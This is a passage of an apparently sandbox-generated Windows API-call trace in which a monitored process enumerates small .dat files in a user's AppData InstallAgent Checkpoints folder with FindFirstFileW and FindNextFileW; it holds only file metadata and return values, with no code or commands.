ftLastAccessTime.dwLowDateTime=0xa6ed39b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6ed39b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4R32N.dat", cAlternateFileName="9NBDA7~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75fa82, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa75fa82, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa75fa82, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH537C2.dat", cAlternateFileName="9N71A2~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa844781, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa844781, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa844781, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5FV99.dat", cAlternateFileName="9N1A4E~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f82bd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7f82bd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7f82bd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5PNB1.dat", cAlternateFileName="9N41FC~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7397f6, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7397f6, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7397f6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD1HKW.dat", cAlternateFileName="9W5A8D~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29b498, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa29b498, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa29b498, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD29V9.dat", cAlternateFileName="9WZDNC~1.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2837, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3f2837, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3f2837, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD2G0J.dat", cAlternateFileName="9WZDNC~4.DAT")) returned 1 [0217.620] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6c7176, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6c7176, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6c7176, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBJJ.dat", cAlternateFileName="9W346D~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa608680, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa608680, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa608680, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBVB.dat", cAlternateFileName="9WA7C0~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fd75b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4fd75b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4fd75b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHV4V.dat", cAlternateFileName="9WEE31~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa418a66, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa418a66, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa418a66, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVFW.dat", cAlternateFileName="9WB9D7~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ec73, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa43ec73, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa43ec73, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVH4.dat", cAlternateFileName="9W15AF~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e4ec, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa81e4ec, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa81e4ec, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVJL.dat", cAlternateFileName="9W71BA~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b130e, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4b130e, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4b130e, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVN5.dat", cAlternateFileName="9W36B6~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa929428, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa929428, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa929428, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVQM.dat", cAlternateFileName="9WF232~1.DAT")) returned 1 [0217.621] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7135d5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7135d5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7135d5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWD2.dat", cAlternateFileName="9W2E3D~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a63cb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3a63cb, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3a63cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWKN.dat", cAlternateFileName="9WZDNC~2.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6a0f40, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6a0f40, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6a0f40, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ140.dat", cAlternateFileName="9WAA4D~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86a943, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa86a943, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa86a943, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ364.dat", cAlternateFileName="9W3A1B~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dcfd1, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8dcfd1, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8dcfd1, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3P2.dat", cAlternateFileName="9W8817~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa464eb7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa464eb7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa464eb7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PM.dat", cAlternateFileName="9WA8D8~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67ad1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa67ad1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa67ad1f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PR.dat", cAlternateFileName="9WFE0D~1.DAT")) returned 1 [0217.622] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa903203, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa903203, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa903203, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PT.dat", cAlternateFileName="9W54A4~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f64d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3Q2.dat", cAlternateFileName="9WABF7~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62e8ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa62e8ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa62e8ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3T6.dat", cAlternateFileName="9W7114~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBBG.dat", cAlternateFileName="9W8A94~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3cc60b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3cc60b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3cc60b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBD8.dat", cAlternateFileName="9WZDNC~3.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBH4.dat", cAlternateFileName="9W3EDB~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6da5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8b6da5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8b6da5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBMP.dat", cAlternateFileName="9WFCD7~1.DAT")) returned 1 [0217.623] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.624] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0217.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0217.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0217.624] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints", lpFilePart=0x0) returned 0x40 [0217.624] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.625] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24f074, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa24f074, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa24f074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGGXW3P8.dat", cAlternateFileName="9NBLGG~2.DAT")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc240, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa5bc240, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa5bc240, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH10PG8.dat", cAlternateFileName="9N76AF~1.DAT")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e790b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa2e790b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa2e790b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH42THS.dat", cAlternateFileName="9NBLGG~3.DAT")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dca08, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa1dca08, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa1dca08, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4LS1F.dat", cAlternateFileName="9NBLGG~1.DAT")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa333d55, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa333d55, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa333d55, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4NNS1.dat", cAlternateFileName="9NBLGG~4.DAT")) returned 1 [0217.626] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3801a9, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3801a9, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3801a9, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4QGHW.dat", cAlternateFileName="9N1C6C~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ed39b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6ed39b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6ed39b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4R32N.dat", cAlternateFileName="9NBDA7~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75fa82, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa75fa82, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa75fa82, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH537C2.dat", cAlternateFileName="9N71A2~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa844781, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa844781, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa844781, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5FV99.dat", cAlternateFileName="9N1A4E~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f82bd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7f82bd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7f82bd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5PNB1.dat", cAlternateFileName="9N41FC~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7397f6, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7397f6, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7397f6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD1HKW.dat", cAlternateFileName="9W5A8D~1.DAT")) returned 1 [0217.627] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa29b498, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa29b498, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa29b498, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD29V9.dat", cAlternateFileName="9WZDNC~1.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f2837, ftCreationTime.dwHighDateTime=0x1d336d8, 